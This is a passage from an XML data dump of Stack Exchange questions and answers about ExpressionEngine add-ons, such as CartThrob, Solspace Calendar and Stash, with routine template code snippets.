Tags="|expresso-store|members|forms|mailchimp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18915" PostTypeId="2" ParentId="18909" CreationDate="2014-01-30T11:45:29.223" Score="2" Body="&lt;p&gt;The only time I've seen this behavior is when the text in the field contains foreign characters, like if its been pasted from Word but have seen it from other PC based apps with no rhyme nor reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try deleting everything in the field and type it a new - don't copy paste.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. Just noticed the output - this may not help :(&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2014-01-30T14:27:06.740" LastActivityDate="2014-01-30T14:27:06.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18916" PostTypeId="1" CreationDate="2014-01-30T11:49:30.187" Score="0" ViewCount="35" Body="&lt;p&gt;I am experiencing a blank page after canceling a credit card payment offsite using Cartthrob and a built-in payment gateway. I see the page gets redirected to extload but just shows a blank screen. There are no issues when completing the transaction and get redirect to the correct page without any errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working on the latest versions of the plugin and CMS so that could not be the issue, maybe there is something I have missed in the setup?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2014-01-30T11:49:30.187" Title="Blank page when canceling payment transaction" Tags="|cartthrob|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18918" PostTypeId="1" AcceptedAnswerId="18919" CreationDate="2014-01-30T12:39:35.297" Score="0" ViewCount="52" Body="&lt;p&gt;As the title suggests, is it possible to hide certain forms from a member group when they are logged in. I am using 5 forms on a site but I only want to allow a member group access to the one form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: This is in the CMS, so Backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&#xA;Clinton&lt;/p&gt;&#xA;" OwnerUserId="1554" LastEditorUserId="1554" LastEditDate="2014-01-30T12:49:08.980" LastActivityDate="2015-03-27T01:48:00.857" Title="Freeform option to hide forms from Member Group?" Tags="|members|solspace-freeform|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18919" PostTypeId="2" ParentId="18918" CreationDate="2014-01-30T12:49:48.500" Score="0" Body="&lt;p&gt;If you're referring to the front end you can use simple conditionals like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == '3'}show freeform {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Examples can be found here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#logical-operators&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#logical-operators&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case: Yeah, no would be the answer for that one. You can hide the module from member groups but not individual forms&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="884" LastEditDate="2015-03-27T01:48:00.857" LastActivityDate="2015-03-27T01:48:00.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18921" PostTypeId="1" CreationDate="2014-01-30T15:53:47.577" Score="2" ViewCount="111" Body="&lt;p&gt;I want to use exp-resso for building a webshop. At the front-end I want to offer customers filters. The filters should be for color, size, price etc. Does exp-resso have something build in for that or do you need to build it all by your own? &lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-01-30T21:02:13.517" Title="Create filters with exp-resso shop" Tags="|expresso-store|filter|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18922" PostTypeId="1" AcceptedAnswerId="18950" CreationDate="2014-01-30T16:21:40.040" Score="3" ViewCount="95" Body="&lt;p&gt;I’ve recently updated a site from 2.5.2 to 2.7.3. I've also updated Store from 1.6.1 to 1.6.5. I’m experiencing issues in certain sections of the back-end, namely editing channel entries and working with the Template Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one channel, when I click Submit I receive the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1030&#xA;&#xA;Got error 139 from storage engine&#xA;&#xA;Filename: libraries/api/Api_channel_entries.php&#xA;&#xA;Line Number: 1665 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For another channel, I receive an empty click when trying to Submit or Save Revisions. Nothing is firing in console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third issue is, the template manager is empty. Screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDHyF.png&quot; alt=&quot;Empty Template Manager&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone familiar with these issues? I’ve run out of ideas.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2014-01-31T05:22:46.177" Title="Not able to update channel entries related to store, other issues" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18923" PostTypeId="2" ParentId="18884" CreationDate="2014-01-30T17:46:34.997" Score="0" Body="&lt;p&gt;Never mind. Server guy didn't install (or had wrong version of) mysql package.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-01-30T17:46:34.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18926" PostTypeId="2" ParentId="18878" CreationDate="2014-01-30T18:45:32.970" Score="0" Body="&lt;p&gt;Looks like you're looking to order events in chronological order. In that case, you must use &lt;strong&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt;&lt;/strong&gt; and not &lt;code&gt;{exp:calendar:events}&lt;/code&gt;. {exp:calendar:cal} is the only tag that will order events in chronological order (and take overlapping events/occurrences, etc into consideration), as well as calculate which events/occurrences fit inside the time frame set up in the &lt;code&gt;date_range_start=&quot;&quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&quot;&quot;&lt;/code&gt; parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;★ The following is a must read for further details on deciding which tag to use for your purpose: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in your example {exp:calendar:events} simply reads date_range_start=&quot;&quot; and compares it to the date data set up in the event entry form (not the EE entry_date). Further, using date_range_start=&quot;today&quot; but not specifying date_range_end=&quot;&quot; means date_range_end will default to &quot;today&quot;. You would need something like &lt;code&gt;date_range_end=&quot;+6 months&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-30T18:45:32.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18927" PostTypeId="2" ParentId="18900" CreationDate="2014-01-30T19:02:29.907" Score="1" Body="&lt;p&gt;The inner nested list needs to be assigned a context that identifies it as belonging to a specific row in the outer list - in this case &lt;code&gt;{entry_id}&lt;/code&gt; would be a good choice since it is a unique value. Note that I have assumed your playa field is returning a single result - if not you would need another nested list to capture each playa entry and associate it with the parent matrix row_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:stash:set_list&#xA;    name=&quot;people_entry&quot;&#xA;    context=&quot;{segment_2}&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_depth=&quot;2&quot;&#xA;  }&#xA;    {exp:channel:entries&#xA;      channel=&quot;people&quot;&#xA;      disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;      limit=&quot;1&quot;&#xA;      status=&quot;open&quot;&#xA;    }&#xA;        {stash:people_title}{title}{/stash:people_title}&#xA;&#xA;        {!-- unique reference to child list  --}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;&#xA;        {!-- nested list --}&#xA;        {exp:stash:set_list:nested&#xA;          name=&quot;names&quot;&#xA;          context=&quot;{entry_id}&quot;&#xA;          parse_tags=&quot;yes&quot;&#xA;          parse_depth=&quot;2&quot;&#xA;        }&#xA;          {matrix_field_1}&#xA;&#xA;            {stash:name}&#xA;              {playa_field limit=&quot;1&quot;}&#xA;                  {name}&#xA;              {/playa_field}&#xA;            {/stash:name}&#xA;&#xA;          {/matrix_field_1}&#xA;        {/exp:stash:set_list:nested}  &#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;  {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you get the list the entry id of the outer get_list row is passed to the nested get_list so that the list associated with that particular row is retrieved:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:stash:get_list name=&quot;people_entry&quot; context=&quot;{segment_2}&quot;}&#xA;&#xA;      {people_title}&#xA;&#xA;      {exp:stash:get_list:nested name=&quot;names&quot; context=&quot;{entry_id}&quot; prefix=&quot;nested&quot;}&#xA;&#xA;          {nested:name}&#xA;&#xA;      {/exp:stash:get_list:nested}&#xA;&#xA;  {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-01-30T19:02:29.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18928" PostTypeId="1" AcceptedAnswerId="19292" CreationDate="2014-01-30T20:22:27.820" Score="2" ViewCount="391" Body="&lt;p&gt;First time user of MSM here. I'm building 3 sites that all have the same channels. In some cases, I want only the default site to make channel entries, but want all 3 sites to have access to those entries. In other cases, I want the individual sites to insert their own channel entries and only display those entries in their respective sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do the above in MSM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I thought MSM allowed me to share everything across sites. I found out during setup that I can make copies of channels, templates, etc. This means each site is working on its copy of the default site, not sharing resources. It's cause a bit of a problems for me. For templates, I will be sharing across sites via symlinks. Now, I'm trying to figure out how to deal with channel entries.)&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-02-10T15:49:50.917" Title="MSM &amp; channel entries" Tags="|channel-entries|multi-site-manager|channel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18929" PostTypeId="1" CreationDate="2014-01-30T20:34:34.513" Score="0" ViewCount="187" Body="&lt;p&gt;I have a number of questions regarding CT packages, posting here at the request of the CT twitter.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If package price is drawing from the total price from the products, is there a tag to output that total price on the template pre-cart?&lt;/li&gt;&#xA;&lt;li&gt;Does CT Price By Member Group work with that 'additive price' feature?&lt;/li&gt;&#xA;&lt;li&gt;Can price adjustments / discounts be applied using the additive price?&lt;/li&gt;&#xA;&lt;li&gt;What happens if a product in a package has 0 inventory?  Can the package still be purchased?  Is there a tag that allows me to reflect this on the template?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="364" LastActivityDate="2014-01-30T21:59:36.167" Title="Working with CartThrob Packages" Tags="|cartthrob|packages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18930" PostTypeId="2" ParentId="18921" CreationDate="2014-01-30T21:02:13.517" Score="4" Body="&lt;p&gt;Try Reefine: &lt;a href=&quot;http://devot-ee.com/add-ons/reefine&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/reefine&lt;/a&gt;. It allows you to filter by almost anything and supports the Store custom field.&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-01-30T21:02:13.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18931" PostTypeId="1" AcceptedAnswerId="21178" CreationDate="2014-01-30T21:06:17.673" Score="5" ViewCount="280" Body="&lt;p&gt;This isn't the usual &quot;I can't log in&quot; issue. A user is trying to log in on her copy of Chrome and cannot. She gets &quot;Invalid username or password&quot; errors every time. She then used Safari and it worked for a day, now it too won't let her log in. The same user account on a different computer works just fine. It applies to logging into the control panel and front end login forms. She says no other websites give login issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that wasn't strange enough, other user accounts WORK!? It is just isolated to her username (her email address). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We cleared all the browsing data in Chrome and looked over the cookies to make sure there were not any for this site. Short of uninstalling Chrome and reinstalling it I'm not sure what else to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are the usual fixes we tried: setting security to session ID or Cookies only, playing with the server's date settings, etc. Nothing worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up:&#xA;logging in with her username/password works on every computer but hers.&#xA;Logging in on her computer with other usernames and passwords work.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2014-02-06T00:29:56.487" LastActivityDate="2014-04-12T23:41:44.933" Title="User can't log in using local copy of Chrome" Tags="|login|chrome|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18932" PostTypeId="2" ParentId="18929" CreationDate="2014-01-30T21:59:36.167" Score="1" Body="&lt;p&gt;I'm using these names in the following examples.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;{packages_packages} is the short name of the packages channel's CartThrob Package field.&lt;/li&gt;&#xA;&lt;li&gt;{packages_price} is the short name of the package's CartThrob Price - Simple field&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I only tested in CT 2.5. I can't guarantee all of this applies to earlier versions&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This will display the set price if one is set in the packages entry, or will display the calculated price based on the included products.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if packages_price}{packages_price}{if:else}{packages_packages:price}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I just tested this and can confirm that it works.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No. If you're applying a discount based on the entry_id of a product, that discount won't apply to packages containing that product. You would need to include the packages entry_id as part of the coupon's Product entry_id field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that you can't show discounted prices of products until they are in the cart.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a package has a product that is out of stock you will receive the &quot;is currently out of stock&quot; error message. If you want to show the current inventory of products in your package you can use this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{packages_packages}&#xA;    {sub:title} inventory = {sub:inventory}&#xA;{/packages_packages}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-30T21:59:36.167" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18933" PostTypeId="1" AcceptedAnswerId="18988" CreationDate="2014-01-30T22:06:28.840" Score="1" ViewCount="69" Body="&lt;p&gt;In my Templates Global Preferences I've set the 404 page to go to pages/404.html template.&#xA;In that template is a redirect to the 404 page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:redirectee:redirect status=&quot;404&quot; url=&quot;/404/&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't work, instead it shows a blank page, as if that tag wasn't in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the redirectee redirect on another template on the same site, and it works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2014-01-31T20:23:46.993" Title="Simple redirect with Redirectee doesn't work" Tags="|redirects|404|redirection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18934" PostTypeId="2" ParentId="18903" CreationDate="2014-01-30T22:17:31.433" Score="3" Body="&lt;p&gt;Adding &lt;code&gt;entry_id=&quot;{entry_id}&quot;&lt;/code&gt; to &lt;code&gt;{exp:primary_category}&lt;/code&gt; fixed it. This is not required in channel:entries but is required in Super Search results.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-30T22:17:31.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18935" PostTypeId="1" AcceptedAnswerId="18936" CreationDate="2014-01-30T23:18:14.470" Score="1" ViewCount="255" Body="&lt;p&gt;These would be considered pre-sales questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I add products to my cart via ajax in CartThrob? &lt;/li&gt;&#xA;&lt;li&gt;Can I add a custom field where I can store some JSON for each product in my cart?&lt;/li&gt;&#xA;&lt;li&gt;If I add the custom field, is it accessible at all stages of checkout, from cart item to the Thank You page and Order Confirmation Email?&lt;/li&gt;&#xA;&lt;li&gt;How customizable is the Discount engine? I need to have discounts by SKU.&lt;/li&gt;&#xA;&lt;li&gt;Can we have one product and modify it's attributes, like price, SKU, etc before it is inserted into the cart and have it retain that info through out the process?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2014-01-30T23:30:20.510" Title="CT-&gt;Adding products to cart via ajax" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18936" PostTypeId="2" ParentId="18935" CreationDate="2014-01-30T23:30:20.510" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes. If you do not have EE's secure forms turned on, it's simple.&lt;/p&gt;&#xA;&lt;p&gt;If you have EE's secure forms turned on, you will need to pass a fresh XID hash each time you add a product. Our example store code (does not include ajax add to cart) includes ajax customer info updates, and has an example of refreshing the XID. That same method can be applied to adding items to the cart.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes. You can either store it as an item_option. or you could create a &amp;quot;custom_data&amp;quot; field which is not specific to a certain product. It might be better to use custom_data[product_123] so that the JSON doesn't get output by our item_options tag.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes. If its' an item_option it'll be stored with the item in the order. If it's custom_data, you'd need to have a dedicated field in the order channel.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It uses plugins. If one of the existing plugins doesn't work, and you know PHP, you can create your own. The existing plugins all have the ability to apply to specific entry ids. If it needs to apply to a different product field, then a custom plugin would be in order.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes. You can specify many things as parameters in the add_to_cart_form. Price, shipping, item_options, etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="556" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-01-30T23:30:20.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18937" PostTypeId="1" AcceptedAnswerId="18991" CreationDate="2014-01-30T23:33:51.007" Score="0" ViewCount="69" Body="&lt;p&gt;Maybe I'm just completely missing something, but I've looked through the docs a few times and haven't been able to find an answer. I'm working on building a way for people to go through events and filter them by day and time. Is there a way in Calendar to filter events by day? I haven't been able to find anything about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd really like to be able to simply put something along the lines of: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:calendar:cal day=&quot;thur&quot;}&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to only display events that occur on Thursdays. But so far, I haven't been able to find anything along those lines and I'd rather stay away from doing a somewhat complicated if statement. Especially with the number of filters I'm creating. I'm also using some query strings to filter, but I assume that wouldn't be an issue if I can just figure out how to filter events by day.&lt;/p&gt;&#xA;" OwnerUserId="2482" LastActivityDate="2014-01-31T20:57:43.233" Title="Solspace Calendar filter by day" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18938" PostTypeId="2" ParentId="17682" CreationDate="2014-01-30T23:58:51.497" Score="0" Body="&lt;p&gt;This doesn't apply to Grid, so I'm just leaving this here as it's the most relevant q/a I found to bring it up. I wanted to be able to select multiple files in a single cell. Since the only obvious multi upload was &lt;a href=&quot;http://devot-ee.com/add-ons/matrix-multi-upload&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T's Matrix Multi Upload&lt;/a&gt; (it uploads whatever files you pick, then generates a row in Matrix for each file, as opposed to a new File fieldtype that allows multiple file selection) basically I'll upload all the files in advance (dummy field, or dummy entry, or same entry then refresh, whatever) and use a &lt;a href=&quot;http://devot-ee.com/add-ons/mx-select&quot; rel=&quot;nofollow&quot;&gt;MX Select Plus&lt;/a&gt;($) field that yields a dropdown based on your own sql query (for me it was a list of specific filetypes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't used in templating yet but as far as control panel GUI goes that's the combination I've got going.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-01-30T23:58:51.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18939" PostTypeId="1" AcceptedAnswerId="18962" CreationDate="2014-01-31T00:20:01.247" Score="0" ViewCount="688" Body="&lt;p&gt;I recently updated to EE 2.7.3 and noticed that I am getting the following error at the top of all my pages:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected 'II' (T_STRING) in /var/www/vhosts/mysite.com/eesystem/expressionengine/libraries/Template.php(3276) : eval()'d code on line 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Line of said template reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clues what is causing this and how to resolve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-31T10:36:53.737" Title="Parse error: syntax error, unexpected 'II' (T_STRING)" Tags="|templates|error|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18940" PostTypeId="2" ParentId="18844" CreationDate="2014-01-31T01:19:38.643" Score="2" Body="&lt;p&gt;If I'm understanding correctly, you're trying to set up those color swatches to be a clickable way to set an item option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that your Matrix field is named &quot;binding&quot;. Here is some code that will hopefully help you out. It uses a simple jquery click event to set the value of a text field that will be submitted when you add the product to your cart.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;{!-- using the jquery module script tag here, but you can link to any jquery library --}&#xA;{exp:jquery:script_tag}&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;{exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot;}&#xA;    {exp:cartthrob:add_to_cart_form entry_id=&quot;{entry_id}&quot;}&#xA;        {title}&amp;lt;br /&amp;gt;&#xA;        {binding}&#xA;           &amp;lt;div id=&quot;{option_value}&quot; class=&quot;color_swatch&quot; style=&quot;background:#{color_code}; border:1px solid #ccc; width:50px; height:25px; display:block; float:left; margin: 10px;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        {/binding}&#xA;        &amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        {!-- this is the input that will add the item option called &quot;color&quot; to your item in your order channel --}&#xA;        {!-- you can change this to type=&quot;hidden&quot; if you don't want it shown --}&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;item_options[color]&quot; id=&quot;selected_color&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;    {/exp:cartthrob:add_to_cart_form}&#xA;{/exp:channel:entries}&#xA;&#xA; &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; jQuery(document).ready(function($){&#xA;      $(&quot;.color_swatch&quot;).click(function(){&#xA;           $(&quot;#selected_color&quot;).val($(this).attr('id'));&#xA;      });&#xA; });&#xA; &amp;lt;/script&amp;gt;&#xA; &amp;lt;/body&amp;gt;&#xA; &amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-31T01:19:38.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18941" PostTypeId="2" ParentId="18407" CreationDate="2014-01-31T02:07:28.967" Score="-1" Body="&lt;p&gt;This was caused by a conflict between Cart Throb and the Zenbu plugin.  Zenbu was not a &quot;have to have&quot; on the site so after its removal its back to working correctly.&lt;/p&gt;&#xA;" OwnerUserId="2681" LastActivityDate="2014-01-31T02:07:28.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18942" PostTypeId="2" ParentId="13318" CreationDate="2014-01-31T02:48:30.590" Score="0" Body="&lt;p&gt;Another option is to use the same fields for each channel, but simply change the labels on the front end. We had a similar situation where each channel needed different fields but they all had the same number of fields. So we created 4 generic rating fields and then used a combination of channel short names and matching global variables to show the correct field labels for each channel.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-31T02:48:30.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18943" PostTypeId="1" AcceptedAnswerId="19271" CreationDate="2014-01-31T02:53:22.763" Score="0" ViewCount="161" Body="&lt;p&gt;On a single entry page I'm displaying that entry's ratings using &lt;code&gt;{exp:rating:entries}&lt;/code&gt;. Within each rating returned, I'd like to display the average of some/all of the different ratings fields for that rating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need something like &lt;code&gt;{overall_avg}&lt;/code&gt; but it's an average of the fields in that single rating rather then an average of all ratings for that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see any combination of tags that can make this happen. Any creative ways to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some template code. Inside my channel:entries tag on a single entry page I have this embed code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;vendor/.ratings&quot; entry-id=&quot;{entry_id}&quot; vendor-type=&quot;{categories show_group=&quot;10&quot; limit=&quot;1&quot;}{category_url_title}{/categories}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the embed template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries precision=&quot;2&quot; orderby=&quot;rating_date&quot; sort=&quot;desc&quot; img_height=&quot;14&quot; img_width=&quot;14&quot; collection=&quot;directory&quot; entry_id=&quot;{embed:entry-id}&quot; limit=&quot;200&quot;}&#xA;{if count == 1}&#xA;&amp;lt;article class=&quot;listing-reviews&quot; id=&quot;listing-reviews&quot;&amp;gt;&#xA;    &amp;lt;h3 class=&quot;centered&quot;&amp;gt;&amp;lt;em&amp;gt;{total_rating_count} review{if total_rating_count !=&quot;1&quot;}s{/if}&amp;lt;/em&amp;gt; for {title} &amp;lt;a class=&quot;btn directory write-edit&quot; href=&quot;#listing-write-review&quot;&amp;gt;Write a review&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;{/if}&#xA;    &amp;lt;section class=&quot;box review&quot; id=&quot;review-{rating_id}&quot;&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;            {if photo}&#xA;            {exp:ce_img:single class=&quot;pic&quot; src=&quot;{photo_url}&quot; max=&quot;45&quot; crop=&quot;yes&quot; alt=&quot;{name}&quot;}&#xA;            {if:else}&#xA;            {exp:ce_img:single class=&quot;pic&quot; src=&quot;/i/default-avatar.png&quot; max=&quot;45&quot; crop=&quot;yes&quot; alt=&quot;{name}&quot;}&#xA;            {/if}&#xA;            &amp;lt;h5&amp;gt;{name}&amp;lt;/h5&amp;gt;&#xA;            &amp;lt;h6&amp;gt;{who} • {rating_date format=&quot;%F %d, %Y&quot;}&amp;lt;/h6&amp;gt;&#xA;            &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                {stars}{rating}{/stars}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;        &amp;lt;div class=&quot;review-text&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;restrict-height&quot;&amp;gt;&#xA;                {review}&#xA;                &amp;lt;div class=&quot;overflow&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Read more…&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;p class=&quot;small light&quot;&amp;gt;Wedding Date: {wedding}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;ul class=&quot;ratings&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;label&amp;gt;{{embed:vendor-type}_1label}&amp;lt;/label&amp;gt;&#xA;                {if rating1 !=&quot;&quot; &amp;amp;&amp;amp; rating1 !=&quot;0&quot;}&#xA;                &amp;lt;div class=&quot;stars&quot;&amp;gt;&#xA;                    {stars}{rating1}{/stars}&#xA;                